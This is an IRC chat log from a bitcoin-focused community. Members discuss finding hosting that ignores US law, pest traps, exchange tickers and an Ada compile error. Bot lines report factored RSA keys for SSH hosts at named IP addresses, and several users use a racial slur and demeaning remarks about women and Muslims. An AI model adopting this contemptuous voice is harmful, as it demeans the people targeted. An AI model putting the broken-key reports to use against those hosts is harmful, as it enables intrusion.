1647063;1492797422;mircea_popescu;asciilifeform come to think of nobody, afaik there exists ONE SINGLE WEBSITE on the whole internet for the whole internet's existence that documents the "hey, check out that time usg got told to go dangle" also. 1647064;1492797474;mircea_popescu;for years google was fulla "oh, mp IN DANGER OF BEING EXTRADITED!!11". experts in things and matters, quora style. 1647065;1492797568;Framedragger;btw just to note, (at least initially) large part of bitcoin revenue would have to be converted into fiat because upstream may require fiat. (sure, it'd be nice to just be able to ignore these upstreams.) 1647066;1492797577;mircea_popescu;whatever, not like it's illegal. 1647067;1492797583;Framedragger;sure. 1647068;1492797593;mircea_popescu;can convert large piles of btc into tits if you feel like, what. 1647069;1492797627;trinque;http://oglaf.com/isle-of-tits/ << oblig 1647070;1492797647;asciilifeform;fiatola exposure is an attack surface. 1647071;1492797648;mircea_popescu;aha lol 1647072;1492797693;mircea_popescu;asciilifeform the important point here is that the elimination of attack surfaces is sure to produce vacuum packed spherical chickens. it is a necessary quality of physical existence to have attack surfaces. that's how you get laid, also. 1647073;1492797717;trinque;and there are guaranteed to be petabytes of cp on aws and every other host 1647074;1492797740;mircea_popescu;trinque i seriously wouldn't expect this sort of problem. who the fuck is going to be doing that, i wish to know. 1647075;1492797747;trinque;ikr 1647076;1492797757;trinque;point being whatever is being done, the host isn't doing it 1647077;1492797759;trinque;whole point 1647078;1492797761;mircea_popescu;prolly cleannest item on a per-size basis known to the tubes. 1647079;1492797806;asciilifeform;asciilifeform's argument is not that mircea_popescu's idea is physically impossible, but that it is absent because it is -- afaik -- heavily -ev. and not because 'world is stupid'. take, say, the moving of cocaine. it involves every bit the same types of risks, but cocaine is readily available worldwide. i suspect : partly because it is a standalone physical object -- unlike net connectivity. 1647080;1492797834;mircea_popescu;eh get out. pretty much the only way independent, tech minded kid can feed himself today is to do a good job of running an isp. 1647081;1492797835;trinque;myriad neonazi sites run all day 1647082;1492797846;trinque;"no but those are all honeypots; every single one!!!11!" 1647083;1492797854;mircea_popescu;about half of all the ones i personally know (ie, middle class tech kids) ended up there this way. 1647084;1492797866;asciilifeform;trinque: nope. plenty of quite genuine 'spam isp'. problem is that they fold ! 1647085;1492797885;trinque;then one moves, but what's that one? daily stormer or something? 1647086;1492797888;trinque;has been on for years? 1647087;1492797891;*;asciilifeform at one time scouted far and wide for these, with a budget not far off from mircea_popescu's current 1647088;1492797895;mircea_popescu;notrly, actually. /me recently ran into one i recall from 2007. continous decade in bizniss! 1647089;1492797914;trinque;notion seems to be that somebody's gonna end up in room 101 for hosting tmsr items 1647090;1492797925;trinque;mk, maybe when they bother to go get the "nambla" site 1647091;1492797936;mircea_popescu;notion seems to be that human psyche's principal job in average human is protection from change. 1647092;1492797939;asciilifeform;trinque: there is a fair bit of gradation between 'room 101' and harmless annoyance 1647093;1492797954;trinque;business annoyances are already way over "harmless" 1647094;1492797962;*;trinque eyeballs his roughly 100k legal bill from last year 1647095;1492797966;asciilifeform;mircea_popescu: might be interesting to find out where the (hilarious) northkr www is hosted. 1647096;1492797969;mircea_popescu;whatcha got sued for ? 1647097;1492797969;trinque;that's what it is, endless annoyances 1647098;1492797972;asciilifeform;( iirc it was not even in asia! ) 1647099;1492797992;mircea_popescu;asciilifeform wasn't it in china ? i thought. 1647100;1492797994;trinque;mircea_popescu: suing, guy may have allegedly (blah blah) stolen some things 1647101;1492798031;mircea_popescu;oh those. believe me, http://trilema.com/2012/gpg-contracts/ 1647102;1492798039;mircea_popescu;it's just not fucking worth it trying to "t&c" so to speak. 1647103;1492798110;trinque;last fiat biz for sure. 1647104;1492798112;asciilifeform;mircea_popescu: https://archive.is/N4KYf << china! as you said. though i have nfi how much of the linked info is true 1647105;1492798134;asciilifeform;decade or so ago i looked into this, and found that their www box lived in.. usa! 1647106;1492798200;mircea_popescu;yeah, dunno how far i'd trust these. 1647107;1492798278;asciilifeform;the 'whack-a-mole' is a part of live for folx using 'spam hosting'. and i entirely believe that mircea_popescu knows one that has been in uninterrupted business since '07. but how long do you suppose it would live if you linked to it by name here ? 1647108;1492798282;asciilifeform;*life 1647109;1492798336;asciilifeform;they have life cycles, 'fresh, unknown, bulletproof', then the sp4mz0rz, virus artists, flock to it, then it 'has problems', dies. then another elsewhere is born. 1647110;1492798399;davout;is your point that some work would indeed be required? 1647111;1492798408;mircea_popescu;lol 1647112;1492798425;mircea_popescu;davout what are you doing fgor a living these days anyway ? 1647113;1492798434;mircea_popescu;other than watching horses spin around on a plate-sized island. 1647114;1492798443;davout;you pretty much have it 1647115;1492798450;mircea_popescu;so then... 1647116;1492798513;davout;well, i'm following the conversation 1647117;1492798520;Framedragger;and how would mircea_popescu react if suddenly isp had policy of blocking spamzorz? 1647118;1492798549;Framedragger;i'm not sure where the 'isp should not care about content' line should be in the context of tmsr. 1647119;1492798575;davout;i'll ask around if people in my local meatwot have some experience with local DCs, don't think they'd bite 1647120;1492798647;mircea_popescu;Framedragger i have nfi, but i know for a fact there's nothing in tmsr or in nature that says "person must provide impossible object in regular course of business". 1647121;1492798653;asciilifeform;( http://btcbase.org/log/2016-11-10#1565561 << pertinent, imho, old thread ) 1647122;1492798653;a111;Logged on 2016-11-10 17:10 mircea_popescu: no, actually, it concerned an isp which, like any other isp, can't afford to actually pay a lawyer to read all the legalse spam being thrown their way. the guilty party here is the state of california, as per http://btcbase.org/log/2016-08-18#1524561 1647123;1492798658;mircea_popescu;besides, you're supposed to maintain relations with multiple dcs anyway. 1647124;1492798671;mircea_popescu;asciilifeform nato-reich is verboten anyway. 1647125;1492798689;asciilifeform;mircea_popescu: is it even possible any moar to route packets entirely sans-nato ? 1647126;1492798696;mircea_popescu;i dun wanna do biz with the child fuckers. 1647127;1492798696;asciilifeform;( emplace iron -- yes, possible. ) 1647128;1492798866;trinque;Framedragger: guy who runs ISP can choose how he runs his own house, eh? 1647129;1492798886;trinque;"no fucking purple backgrounds on sites" whatever, it's your house 1647130;1492798905;trinque;absurd example ofc 1647131;1492798913;mircea_popescu;actually a "no https and no ajax" rule would kick all ass. 1647132;1492798919;trinque;indeed 1647133;1492798941;*;asciilifeform pictures a 'no dns!' hoster 1647134;1492798944;Framedragger;true. for some stupid reason i had it in my mind that mircea_popescu would vehemently oppose any such arbitrary restrictions. but this was based on some inane interpretation of some misread trilema text, probably 1647135;1492798974;trinque;the thing where law comes from the sky instead of from men takes time to unwind 1647136;1492798999;mircea_popescu;asciilifeform that may take some building up to. 1647137;1492799004;trinque;Framedragger: he might want something, and then what? y'all either deal or don't. 1647138;1492799008;asciilifeform;Framedragger: isp who bans, e.g., purple www backgrounds, child fucking, and winblows-95 because HE WANTS TO -- is quite different animal from one who does exactly same, but because ~imposed~ upstream 1647139;1492799036;mircea_popescu;o yeah, absolutely. no https, no ajax, no windows/crapple. 1647140;1492799036;*;Framedragger tried whois on 2x4.ru -- cloudflare, hahahaha 1647141;1492799050;mircea_popescu;and no cloudflare. jesus this is growing. 1647142;1492799066;mircea_popescu;"no openssh no shit compiled with gcc > 4 no stuff from 3.x python no..." 1647143;1492799079;mircea_popescu;gotta keep it short lest it ends up longer than traditional slas. 1647144;1492799082;shinohai;I would imagine those needing tmsr services could set up own cdn, no? 1647145;1492799099;trinque;gonna need multiple DCs 1647146;1492799101;mircea_popescu;shinohai the idea is to resolve the problem not to self-lick the icecone. 1647147;1492799161;shinohai;ah nb 1647148;1492799183;asciilifeform;mircea_popescu: would it be correct to say that a 'solved' instance of this problem, could, e.g., host wikilix indefinitely ? 1647149;1492799208;Framedragger;ack re. flow/direction of law. but re. 'no ajax', i imagine the primary service offering being an unmanaged dedicated box, in which case i'd find it reasonable to require of the isp not to peek at insides (unless external behaviour is ~spam, etc.) 1647150;1492799208;asciilifeform;( and 'piratebay' -- ? ) 1647151;1492799299;mircea_popescu;asciilifeform nope. a solved instance of this problem would be me going "hey x, i want a new server for eulora, what do you got that's good and where do i send the fuckgoats" which returns within a day or two with options and quotes which i pay which results in the server being live sometime next week. 1647152;1492799314;mircea_popescu;because this is exactly what i wanted to do three hours ago and couldn't. 1647153;1492799344;asciilifeform;my current understanding is that plenty of folx will accept a crated server and plug it in, without questions. 1647154;1492799346;mircea_popescu;Framedragger no, re-re-read the line i said read insistently. you do get some boxes for vps ing out of. either because cheap or because obsolete etc. 1647155;1492799350;mircea_popescu;it's a business, it has its flows yes ? 1647156;1492799360;mircea_popescu;asciilifeform and why am i patying non wot folks ? 1647157;1492799364;Framedragger;mircea_popescu: kk. 1647158;1492799389;asciilifeform;so mircea_popescu is discussing a hypothetical conventional dc ? not 'bulletproof' variant. 1647159;1492799404;mircea_popescu;i am discussing a republican isp. 1647160;1492799426;mircea_popescu;the only substitute i would consider from the fiat world would be a bulletproof variant, because i will literally not deal with peons who do not at least declaratively claim to not follow usg law. 1647161;1492799451;mircea_popescu;why encourage terrorism sorta deal. 1647162;1492799512;Framedragger;(i mentioned 2x4 (russian hosting provider) above because they are known for not giving a fuck about dmca or other usg laws, and responding with "your mother" (sic) to requests to take down a hosted site which is running a botnet C&C) 1647163;1492799521;asciilifeform;who, currently, other than mircea_popescu and hanbot meet the ground floor qualification ( physically residing outside of reich ) ? 1647164;1492799527;asciilifeform;( maybe shinohai ? ) 1647165;1492799533;mircea_popescu;davout for isntance. 1647166;1492799547;asciilifeform;i thought he was a fr subject 1647167;1492799559;mircea_popescu;but you're people not trees, people travel for their job all the god damned fucking time. 1647168;1492799571;mircea_popescu;asciilifeform iirc he moved to the pacific rimjob. 1647169;1492799577;asciilifeform;oh hm. 1647170;1492799581;asciilifeform;but it was a french island neh. 1647171;1492799616;mircea_popescu;afaik it was indepoendent. not been keeping much track. 1647172;1492799626;asciilifeform;davout ^ ? 1647173;1492799647;mircea_popescu;asciilifeform ah, gotta be independent, they got a dispute with the uk over chagos. 1647174;1492799663;shinohai;asciilifeform: no I am entrenched in the Southern part of Reich unfortunately, would have to relocate to more friendly (and preferably Spanish-speaking) climes. 1647175;1492799673;mircea_popescu;recall, the whole "us wants base" debacle ? diego garcia ? 1647176;1492799678;asciilifeform;mircea_popescu: hm, then davout could be the one. 1647177;1492800021;*;Framedragger currently checking ripe db etc to see how 2x4 hosts things. their dns servers are legally in seychelles.. etc. 1647178;1492800097;Framedragger;(http://archive.is/MOdf3 for anyone interested) 1647179;1492800372;mircea_popescu;in no conceivable presentation is this a low hanging fruit. the odds of it actually being molested are lower than baseline 1647180;1492800391;mircea_popescu;(baseline is, young couple with nary a clue "start business", get reamed by bureaucracy.) 1647181;1492800618;mircea_popescu;was a film re this, pretty bad but relevant in context, what was it... 1647182;1492800665;mircea_popescu;!~google sunshine cleanning 1647183;1492800667;jhvh1;mircea_popescu: Sunshine Cleaning (2008) - IMDb: ; Sunshine Cleaning - Wikipedia: ; Amazon.com: Sunshine Cleaning : Amy Adams, Emily Blunt: Movies ...: 1647184;1492800697;mircea_popescu;dumb broad and her lazy, ignorant teenaged sister go into business cleanning up crime scenes, start a fire. 1647185;1492800745;mircea_popescu;also, emily blunt is a fucking gorgon, what are all these people smoking. i'd rather watch barbara streisand gargle. 1647186;1492802466;davout;i'll be traveling for the two next weeks, but i'll ask around when coming back. 1647187;1492804408;shinohai;In entertainment from mod6 's neck of the woods today: https://minneapolis.craigslist.org/csw/cas/6098146692.html 1647188;1492804490;trinque;I see that I'm not the only one who reads CL personals for teh lulz 1647189;1492804657;shinohai;Oh they are a gold mine, this one happened to be provided courtesy of a girl I did stream setup for xD 1647190;1492805753;*;asciilifeform had a nice long walk to ps0toffice with pet, discussed the 'money as a property' vs 'hamiltons' mircea_popescuism 1647191;1492806487;asciilifeform;in other lulz, 'Massive power outage hits San Francisco, shuts down businesses, BART station, cable cars, traffic lights...' 1647192;1492806603;Framedragger;in which SF startups realise that hosting all infrastructure on multiple fault lines is not the greatest idea ever 1647193;1492807002;mircea_popescu;"who could have predicted failure to pay bills results in power outage" "california" 1647194;1492807470;mircea_popescu;davout i don't get it, what'd you ask around for ? people in the wot who you know but we somehow don't ? 1647195;1492807576;mircea_popescu;trinque shinohai meanwhiule deleted. thanks to scriba's archiving service i could read it. 1647196;1492807729;shinohai;Poor guy, wonder if he found a mark for his lard ass lel 1647197;1492807760;mircea_popescu;looks more like some 30yo douche found pics going through "his" "gf's" phone, set up craiglist spam robot. 1647198;1492811401;mod6;Update: Moving on to FG #2. Will collect just over 1.0 Gb and then do ent/dh tests. 1647199;1492811443;mod6;Eatblock test upto 363K+ blocks and into blk0019. 1647200;1492811833;mircea_popescu;http://btcbase.org/log/2017-04-21#1647131 << in which we lol at how phf's logtron makes https clickable to 404. 1647201;1492811833;a111;Logged on 2017-04-21 18:21 mircea_popescu: actually a "no https and no ajax" rule would kick all ass. 1647202;1492811849;mircea_popescu;http 1647203;1492812619;mircea_popescu;!~ticker 1647204;1492812620;jhvh1;mircea_popescu: Bitfinex BTCUSD ticker | Best bid: 1325.4, Best ask: 1326.0, Bid-ask spread: 0.60000, Last trade: 1325.5, 24 hour volume: 8181.49424142, 24 hour low: 1293.2, 24 hour high: 1333.1, 24 hour vwap: None 1647205;1492812636;mircea_popescu;shinohai why the fuck is it quoting bitfinex ?! 1647206;1492813550;shinohai;It's a gribble *clone* 1647207;1492814431;mircea_popescu;o it queries gribble ? 1647208;1492814593;shinohai;nope it performs pretty much exact same functions, though it shouldn't be too difficult to change it from buttfunex 1647209;1492814609;shinohai;!~ticker BTCC 1647210;1492814611;jhvh1;shinohai: (ticker [--bid|--ask|--last|--high|--low|--avg|--vol] [--currency XXX] [--market |all]) -- Return pretty-printed ticker. Default market is Bitfinex. If one of the result options is given, returns only that numeric result (useful for nesting in calculations). If '--currency XXX' option is given, returns ticker for that three-letter currency code. It is up to you to make sure the code is a valid currency (1 more message) 1647211;1492814621;shinohai;!~ticker --market BTCC 1647212;1492814625;jhvh1;shinohai: BTCChina BTCUSD ticker | Best bid: 1054.589052, Best ask: 1058.59512, Bid-ask spread: 4.00607, Last trade: 1054.589052, 24 hour volume: 9670.36210000, 24 hour low: 1047.035748, 24 hour high: 1071.1404, 24 hour vwap: 1058.37683489 1647213;1492814740;mircea_popescu;of course the question of "Change it to what" rears its ugly head. there's still no price signal in btc, no more than there was back in 2015. 1647214;1492814783;mircea_popescu;it's either "website printing random numbers" or else "usg mouth piece" or else "chinese exchange that does no exchanging" 1647215;1492814796;mircea_popescu;could run us elections out of this material, same exact substance. 1647216;1492814995;shinohai;Yeah truth be told there is no good solution rly. 1647217;1492815328;BingoBoingo; well, where the fuck did that guy go? << Apparently customs raped 1647218;1492815344;trinque;orly? do tell. 1647219;1492815440;mircea_popescu;!!up Joshua-I 1647220;1492815440;deedbot;Joshua-I voiced for 30 minutes. 1647221;1492815453;Joshua-I;Thanks 1647222;1492815473;mircea_popescu;sure 1647223;1492815515;Joshua-I;I read you want hosting. Seems like a straightforward thing. What do you need? 1647224;1492815528;mircea_popescu;uh. who are you again ? 1647225;1492815534;shinohai;!!gettrust Joshua-I 1647226;1492815534;deedbot;L1: 0, L2: 0 by 0 connections. 1647227;1492815548;Joshua-I;I'm interested in simulating this problem 1647228;1492815562;Joshua-I;Like looking for the potential solutions 1647229;1492815571;mircea_popescu;do me a favour, read the topic. 1647230;1492815578;mircea_popescu;!!down Joshua-I 1647231;1492815932;asciilifeform;BingoBoingo may be interested to hear that asciilifeform bought and put to use a set of 'conibear' tree traps 1647232;1492815969;asciilifeform;and broke 0 fingers!1111 1647233;1492816534;asciilifeform;lol re rando asset popping up out of thin air -- 'heyiheardyouneedhosting!111' 1647234;1492816594;BingoBoingo;http://oglaf.com/fashionweek/ 1647235;1492816599;BingoBoingo;asciilifeform: Nice 1647236;1492816622;asciilifeform;BingoBoingo: ever use'em ? 1647237;1492816686;BingoBoingo;I have not. Prefer generic cage trap. Build a salad in there until you tempt critter. 1647238;1492816728;asciilifeform;these, apparently, too clever for cage. 1647239;1492816810;BingoBoingo;http://www.terrierman.com/traprelease.htm << looks like srs bsns 1647240;1492816830;asciilifeform;yeah, them 1647241;1492816884;asciilifeform;a bitch to set, too 1647242;1492816934;asciilifeform;esp. as mine for some reason came without the safety latch ('made in korea!') 1647243;1492816964;BingoBoingo;Well, murder springs have to have some muscle 1647244;1492817086;asciilifeform;phun phakt: the folx i hired originally to do the pest control, not only insist on 'humane' trap, but lock them for weekend! i asked 'why?' answer 'it's the law' 1647245;1492817093;asciilifeform;squirrels, apparently, have RIGHTS!!11!!! here. 1647246;1492817095;asciilifeform;didjaknow. 1647247;1492817122;asciilifeform;rat, mouse, RIGHTS!!11, comingsoon. 1647248;1492817167;BingoBoingo;BWHAHAHAHAHAHAHAHAH 1647249;1492817378;shinohai;!~bible Genesis 1:28 1647250;1492817379;jhvh1;shinohai: [KJV] Genesis 1:28 :: And God blessed them, and God said unto them, Be fruitful, and multiply, and replenish the earth, and subdue it: and have dominion over the fish of the sea, and over the fowl of the air, and over every living thing that moveth upon the earth. 1647251;1492817687;mircea_popescu;http://btcbase.org/log/2017-04-21#1647244 << da fuck is this dumb shit. 1647252;1492817687;a111;Logged on 2017-04-21 23:24 asciilifeform: phun phakt: the folx i hired originally to do the pest control, not only insist on 'humane' trap, but lock them for weekend! i asked 'why?' answer 'it's the law' 1647253;1492817811;asciilifeform;mircea_popescu: just when i thought that usgdom couldn't possibly surprise with nonsense 1647254;1492817827;asciilifeform;turns out -- there is always moar surprise. 1647255;1492817863;mircea_popescu;nuts. 1647256;1492819171;trinque;http://tpwd.texas.gov/huntwild/wild/rehab/protected/ << "Unless state-listed as threatened or endangered, these animals are not protected, except under certain circumstances." 1647257;1492819186;trinque;varies widely by state, has nothing to do with "usg" really 1647258;1492819244;trinque;firearm discharge depends on acreage iirc, but I don't think anybody would arrest you for killing a fucking squirrel around here. 1647259;1492819408;BingoBoingo;http://augustacrime.com/greenbrier-student-17-attacks-classmate-for-calling-her-a-whale/ 1647260;1492819497;BingoBoingo;^ The obeast pest problem continues 1647261;1492819727;BingoBoingo;And no, I dun believe the news fatbook picture 1647262;1492820121;mircea_popescu;how did she attack, rolling motion ? 1647263;1492820791;mircea_popescu;trinque this "state / usg" distinction carried water pre-lincoln. 1647264;1492820865;mircea_popescu;i'm sure "the commerce clause" gives random swampocrat full authority to legislate squirrel rights. 1647265;1492821182;trinque;certainly so 1647266;1492821363;trinque;what a bunch of idiots, leaving such giant gaping holes in the thing. 1647267;1492821418;mircea_popescu;they weren't in the thing. 1647268;1492821449;mircea_popescu;the pretense that commerce clause enables washington bureaucracy is exactly like the usual fare of prison toughs. "you dropped your soap". 1647269;1492821580;mircea_popescu;if i write "roses are red" and some douche goes "by roses he means milk, amirite ?" the failure of the douche's companions to knock him one upside the head does not translate in my having left any kind of hole in my text ; nor does it enact changing it to "roses are red and by roses we do not mean milk" into being reasonable. it's not fucking reasonable, the douche will just go "oh, by red he meant square" 1647270;1492821604;mircea_popescu;in fact, trilema is principally about this. 1647271;1492821750;mircea_popescu;and it all comes back to should-have-beaten-the-wives, of course. 1647272;1492822011;trinque;words have meanings yes, and oughtn't need smearing of extra "no really they do" around, which immediately reminds one of OSS. 1647273;1492822064;trinque;also can't deny that it wasn't the document that did anyting; the folks who wanted USGism killed more of the ones that didn't 1647274;1492822886;trinque;eh poorly put. while the southern civilian death toll was certainly high and under-reported, also lots of the same on the other side. at any rate, lost. 1647275;1492823800;davout;http://btcbase.org/log/2017-04-21#1647194 <<< ask around local meatwot about local DCs and hardware sourcing options 1647276;1492823800;a111;Logged on 2017-04-21 20:44 mircea_popescu: davout i don't get it, what'd you ask around for ? people in the wot who you know but we somehow don't ? 1647277;1492823807;mircea_popescu;ah ah! 1647278;1492823820;mircea_popescu;is there even a dc there ? 1647279;1492823837;davout;i'll... ask around! 1647280;1492823841;mircea_popescu;:) 1647281;1492823861;davout;looks like it at first cursory examination 1647282;1492823879;mircea_popescu;fancy that, tmsr machines within em spying range of usg top sikrit sea of china equivalent 1647283;1492823882;davout;the opposite would be surprising 1647284;1492823941;davout;i'm off to .za ttyal later 1647285;1492823945;mircea_popescu;la 1647286;1492825673;deedbot;http://phuctor.nosuchlabs.com/gpgkey/6AFE56F50CD78AD78E8C83E1107982A688420E8B5343E2EBE915060BA5095C36 << Recent Phuctorings. - Phuctored: 1640...0857 divides RSA Moduli belonging to '62.202.42.230 (ssh-rsa key from 62.202.42.230 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (230.42.202.62.static.wline.lns.sme.cust.swisscom.ch. CH) 1647287;1492825673;deedbot;http://phuctor.nosuchlabs.com/gpgkey/6AFE56F50CD78AD78E8C83E1107982A688420E8B5343E2EBE915060BA5095C36 << Recent Phuctorings. - Phuctored: 1531...0967 divides RSA Moduli belonging to '62.202.42.230 (ssh-rsa key from 62.202.42.230 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (230.42.202.62.static.wline.lns.sme.cust.swisscom.ch. CH) 1647288;1492827166;shinohai;http://archive.is/I1CqK <<< Barry Shillbert: Buy mah shitcoin picks of the month so I can make use of all that Bitcoin ya'll don't need. 1647289;1492827216;mircea_popescu;people still falling for the "picks" scam huh 1647290;1492827270;asciilifeform;spam existing -- dun prove that spam 'worx' tho. 1647291;1492827279;asciilifeform;'human fat reactor' 1647292;1492827286;mircea_popescu;there's that. 1647293;1492827363;asciilifeform;it isn't as if broadcasting nonsense costs'em ~any. 1647294;1492827421;mircea_popescu;in other random lulz, i ended up with this pair of very nice 8 carat diamonds and i've been playing with them in the light like a complete down case for the past half hour 1647295;1492827425;mircea_popescu;shit's fascinating! 1647296;1492827438;shinohai;Of course not, scamcoin devs likely pay handsomely to get CoinDesk to spread teh word. 1647297;1492827567;mircea_popescu;ah right, that's the end. he's not trying to get anyone to "buy his picks", he's trying to get the lesser scammers to pay him for his supposed crystal ball publicity services. the paul graham scam. 1647298;1492827775;shinohai;A lulzy medium post on Shillbert M.O. https://medium.com/@charlescmackay/barry-silbert-and-the-cost-of-bitcoins-malfeasance-culture-f83d15ad07d1 1647299;1492827833;mircea_popescu;let me guess, it says approximately http://btcbase.org/log/2017-04-21#1646777 except "in his own words". 1647300;1492827833;a111;Logged on 2017-04-21 14:20 asciilifeform: 'Mike Pompeo, director of the Central Intelligence Agency ... "WikiLeaks walks like a hostile intelligence service and talks like a hostile intelligence service," he said in prepared remarks at the Center for Strategic and International Studies. "Assange is a narcissist who has created nothing of value," Pompeo said. "He relies on the dirty work of other to make himself famous. He is a fraud — a coward hiding behind a screen. "And 1647301;1492827863;shinohai;More or less. 1647302;1492827981;*;shinohai will lulz until death over his tweet about ETC being "First non-Bitcoin coin I evah bought" when guy was a Zooko supporter from day 1. 1647303;1492828088;mircea_popescu;the cost of keeping the story straight is an exponential function of time whereas the gains for imperials are fixed at best -- their intended audience has no intelligence or culture. consequently, every usg shill will be leaking lulz after about 6 to 9 months depending on the volume he outputs. 1647304;1492828163;mircea_popescu;in certain edges of the swamp there's ancient frogs of this nature, who've been chasing the same five dollah in clueless nigger spending for all their life, 30-40 years, firebranding nonsense all through. in the us they're called "senators" often enough, but the romanian word is "panarame". 1647305;1492828221;mircea_popescu;the "famous dr luther waxling" in scorsese's seek and destroy would be a paradigmatic example i guess. 1647306;1492828303;*;shinohai actually thought Dennis Hopper played that role well .... 1647307;1492828320;mircea_popescu;o yeah. 1647308;1492828331;mircea_popescu;i would like that thing on a card, you know. 1647309;1492828363;mircea_popescu;"you wanna sit at the grown up table talkin' movie deals ? GET SOME FUCKING MONEY! YOU GOT NOTHING IN YOUR POCKETS!!" 1647310;1492829246;mod6;TomServo: any update on your node? 1647311;1492829261;mod6;TomServo: also, been watching any of the new MST3K? 1647312;1492829509;shinohai;heh mod6 you like MST3K ? 1647313;1492829796;shinohai;http://btcinfo.sdf.org/uploads/paulawa3245.jpeg <<< From this evening's Colombian report .... 1647314;1492830667;mod6;Ya, cracks me up 1647315;1492830693;mod6;lot of mn refs too 1647316;1492830919;shinohai;Hah yeah it just dawned on me the show got started in your neck of the woods lol. 1647317;1492831513;mod6;I just watched the 3rd episode of the new season, "The Time Travelers." There's a line in there that's something like 'Steve, what will it be like after all these centuries? Are you sure? I'm sure of one thing.' '[Crow]: Bitcoin. 1647318;1492831531;shinohai;lel 1647319;1492831536;mod6;ya 1647320;1492833557;mod6;im just gonna come out and say it. 1647321;1492833566;mod6;gnat frustrates me 1647322;1492833618;shinohai;I have faith in you mod6 1647323;1492833669;asciilifeform;mod6: do tell 1647324;1492833710;*;asciilifeform wrestled with it for most of a year, only recently properly broken its will 1647325;1492833754;mod6;well, i try to compile some simple examples and it talks shit to me 1647326;1492833880;asciilifeform;paste? 1647327;1492833901;mod6;maybe it's just the example that isn't mean to bean compiled. 1647328;1492833938;mod6;http://p.bvulpes.com/pastes/bdPh4/?raw=true 1647329;1492833994;asciilifeform;with Sqrt 1647330;1492834008;asciilifeform;where is it? 1647331;1492834047;asciilifeform;says plain as day, file "sqrt.ads" not found 1647332;1492834050;mod6;thought it might be inherited from Ada.* or whatever? or do i just need to implement my own? 1647333;1492834054;asciilifeform;mno. 1647334;1492834081;asciilifeform;if you copied this from a b00k, it was probably somewhere near this example. 1647335;1492834107;asciilifeform;and incidentally if you ever wonder 'is this in the standard' -- grep. 1647336;1492834108;mod6;yeah Ada 2012 1647337;1492834132;asciilifeform;grab a copy of the standard & rationale 1647338;1492834142;asciilifeform;( htm ones ) 1647339;1492834569;asciilifeform;http://btcbase.org/log/2017-04-22#1647294 << great lulz , you can do with these. always wanted to, e.g., burn one. 1647340;1492834569;a111;Logged on 2017-04-22 02:17 mircea_popescu: in other random lulz, i ended up with this pair of very nice 8 carat diamonds and i've been playing with them in the light like a complete down case for the past half hour 1647341;1492834576;asciilifeform;film the burn, also. 1647342;1492834590;mircea_popescu;proof of steak! 1647343;1492834605;asciilifeform;betcha it would set the idiots off, better than the rabbit koran or what was it. 1647344;1492834624;mircea_popescu;you're conflating two separate offenses! 1647345;1492834642;asciilifeform;they merge, like a flying ace's kills. 1647346;1492834847;shinohai;That asciilifeform too would have lost head in French Revolution. 1647347;1492834875;mircea_popescu;soup of kills! 1647348;1492834886;asciilifeform;'sneeze into the sack' (tm)(r) 1647349;1492835688;shinohai;Let's pseudo encrypt calls too! http://archive.is/IDg84 1647350;1492835911;asciilifeform;red, black, ..., what 'colour' pnoje nao ? 1647351;1492835915;asciilifeform;chartreuse? 1647352;1492835923;asciilifeform;fuchsia? 1647353;1492836073;shinohai;Mauve has the most RAM remember. 1647354;1492836925;mircea_popescu;c is for cookies, that's good enough for me... 1647355;1492837165;BingoBoingo;Back to this Koran bsns... It sure talks about jihad a lot... Have any of these SJW's (i.e. moldylocks the haircunt) actually read the other SJW's (Scary Jihad Warrior's) book? 1647356;1492837329;ben_vulpes;scary jihad warrior my sides 1647357;1492837601;BingoBoingo;ben_vulpes: gotta skim through their book. It's basically ad copy for ISIS. Incites feeling that the proper sane foreign policy to handle the middle east is wall building and enticing a greater idiot to occasionally hurl missiles over there when the mohammadeans get aggressive beyond their station. 1647358;1492837734;ben_vulpes;embrace the imminent hairy rape, BingoBoingo 1647359;1492837772;ben_vulpes;if the us could still glass places, perhaps i'd not despise it so 1647360;1492837784;BingoBoingo;I AM THE ONE WHO IS HAIRY. 1647361;1492837940;ben_vulpes;go get 'em tiger 1647362;1492837974;BingoBoingo;!~bash 8 1647363;1492837974;jhvh1;Last 8 lines bashed and pending publication 1647364;1492837984;ben_vulpes;may your hirstute frame hold the horde at bay 1647365;1492837996;trinque;BingoBoingo: yeah but what they really want is pixar movies about inclusiveness and to behave. 1647366;1492838200;BingoBoingo;I have not seen pixar mentioned yet. 1647367;1492838225;BingoBoingo;But taxes are. 1647368;1492838334;BingoBoingo;As is all of the "nobody could have forseen" that ISIS does 1647369;1492841658;BingoBoingo;Anyways, that rabbit had to die 1647370;1492841731;BingoBoingo;!~later tell shinohai http://qntra.net/2017/04/shinohais-shitcoin-roundup-xtend-tmr-monero-ring-solution-coinbase-presents-gdax-has-goxlike-phenomenon-and-another-hoaxtoshi/#comment-94914 1647371;1492841731;jhvh1;BingoBoingo: The operation succeeded. 1647372;1492843679;ben_vulpes;https://youtu.be/Jgv5ixxgTsQ?t=153 << couple of birds get really surprised around 2:30 1647373;1492843767;ben_vulpes;i gather i should be impressed that the us can hit a ship under full steam with guided ordinance 1647374;1492843979;ben_vulpes;what, this implies it's actually hard? 1647375;1492845247;mats;and how would ben_vulpes accomplish this without sat or gps guidance? 1647376;1492845408;mats;'TACTOM' uses an illuminator that appears to require line-of-sight 1647377;1492863527;TomServo;mod6: Sadly neither. I need to make time to wrap my head around dumpblock. 1647378;1492863689;asciilifeform;in other noose, l. mogosanu ( http://btcbase.org/log/2017-03-28#1633021 ) has new bl0g -- http://thetarpit.org 1647379;1492863689;a111;Logged on 2017-03-28 05:21 mircea_popescu: http://btcbase.org/log/2017-03-28#1632901 << yes, goes by spyked on trilema ; bright undergrad and then grad at the bucharest politechnic (which still is a fine technical school, though it was better pre-democracy). 1647380;1492863787;shinohai;ty BingoBoingo, answered 1647381;1492865665;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/SxcdT/?raw=true <<< Also, more sfyl 1647382;1492865665;jhvh1;shinohai: The operation succeeded. 1647383;1492868796;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1344E7C727F5952650B021FC146CC7EF579058AC0960D6F17AB3489730870564 << Recent Phuctorings. - Phuctored: 1635...2173 divides RSA Moduli belonging to '183.89.95.42 (ssh-rsa key from 183.89.95.42 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (mx-ll-183.89.95-42.dynamic.3bb.co.th. TH) 